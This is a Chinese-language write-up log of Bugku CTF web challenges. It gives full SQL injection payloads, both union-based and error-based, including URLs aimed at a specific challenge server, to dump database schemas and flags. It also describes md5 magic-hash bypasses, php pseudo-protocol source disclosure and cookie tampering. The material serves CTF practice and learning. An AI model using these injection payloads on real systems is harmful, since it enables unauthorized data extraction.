Bugku Web題刷題記錄(會持續更新)
之前web題做的不太多,現在多刷一點,寫一下writeup記錄一下,也方便以後複習。
sql注入
寬字元注入,題目說找key表的string欄位了,so payload如下:
域名解析
這道題寫wp的時候打不開了,不過當時做的時候只要把host改成這個ip地址就行了
sql注入2
這個題先是waf,有敏感詞直接exit。但是後面有一個過濾xss的函式,會除去<....>之類的東西,所以只要在引數中的敏感詞裡新增<>就可以注入了。
首先爆資料庫名:
題目說查key表的hash欄位,所以直接再查一下就拿到flag了:
你必須讓他停下
這題也挺無聊的,bp抓包以後多go幾次就出來了
本地包含
變數1
Web5
看原始碼,直接把jsfuck丟到Consle裡
頭等艙
沒什麼意思的題,直接抓包就可以了
Web4
檢視原始碼urldecode以後整理如下
直接submit"67d709b2b54aa2aa648cf6e87a7114f1",就得到flag了
flag在Index裡
用偽協議檢視base64加密後的原始碼
解密後的原始碼裡有flag
點選一萬次
檢視原始碼:
在Console裡讓clicks為999999
然後再點一次就出flag了
備份是個好習慣
地址後新增index.php.bak可以下到原始碼,開啟檢視如下
就是找兩個不相等的值md5相同,分別傳參240610708和QNKCDZO,然後就可以拿到flag了
成績單
首先獲取資料庫名
然後爆表名
id=0' union selectdatabase(),table_name,1,1 from information_schema.tables wheretable_schema='skctf_flag'#
爆列名
id=0' union selectdatabase(),table_name,column_name,1 from information_schema.columns wheretable_schema='skctf_flag' and table_name = 'fl4g'#
拿flag
id=0' union select skctf_flag,1,1,1from skctf_flag.fl4g#
秋名山老司機
其實這道題本來也挺簡單的,直接寫指令碼獲取到數值提交上去就能得到flag了,坑點是必須要在是這個頁面的時候才能得到flag
所以直接照著這個頁面寫,多執行幾次就行了,要注意cookie一致,很簡單的指令碼就不列出來了。
速度要快
抓包以後發現一串base64碼
Base64解密並Utf-8解碼以後如下
這個值每次都會變,而且要立刻提交,所以寫個指令碼就行了,也比較簡單。
cookies欺騙
剛開始的網址是這樣的:
filename拿去base64解密,是key.txt,於是嘗試filename=index.php的base64碼,未果,修改行號,發現出現內容,於是一行一行輸出,最終得到如下程式碼:
根據邏輯,修改一下cookies,得到flag
多次
寫這個wp的時候已經是做出來好久了,居然發現都快忘記怎麼做了,看來以後做題還是應該留個記錄。
第一關
首先經嘗試會發現union、select等關鍵詞會報錯:
於是嘗試看看是不是被過濾的,中間加個and果然不報錯了:
由於回顯只有一行,所以要讓第一個查詢變為Flase,即加上and 1=2(順便把資料庫也爆出來)
然後一步步嘗試發現where和from都沒有被過濾,or被過濾了
然後爆表名
爆列名,注意有兩個
然後那個flag其實沒什麼卵用,address是第二關:
第二關
可以通過操縱id來注入,這次waf比上次厲害些,敏感詞別想著過濾了。
試了一下and 1=1,發現有報錯:
可以利用報錯注入,首先爆資料庫名:
然後爆表名:
http://120.24.86.145:9004/Once_More.php?id=1'or(select count(*)b,concat((select table_name from information_schema.tableswhere table_schema = 'web1002-2' limit 0,1),floor(rand(0)*2))a frominformation_schema.tables group by a)=(1,1)%23
看上去是flag2了,我們可以爆一下flag2的列名:
http://120.24.86.145:9004/Once_More.php?id=1'or(select count(*)b,concat((select column_name from information_schema.columnswhere table_schema = 'web1002-2' and table_name='flag2' limit 0,1),floor(rand(0)*2))afrom information_schema.tables group by a)=(1,1)%23
最後想拿flag,發現出現了一個問題:
這個情況表明返回的內容中有回車,substring沒有用,於是嘗試left,發現沒問題,於是直接left就可以出結果了:
http://120.24.86.145:9004/Once_More.php?id=1%27or(select count(*)b,concat(left((select flag2 from flag2 limit0,1),40),floor(rand(0)*2))a from information_schema.tables group by a)=(1,1)%23
第三關
進來發現一張二維碼……然後它提示是引數是game,flag在admin中,然而沒卵用,感覺game怎麼注都沒反應,希望有大佬做出來指點一下吧。
初入web坑,歡迎大家互相交流~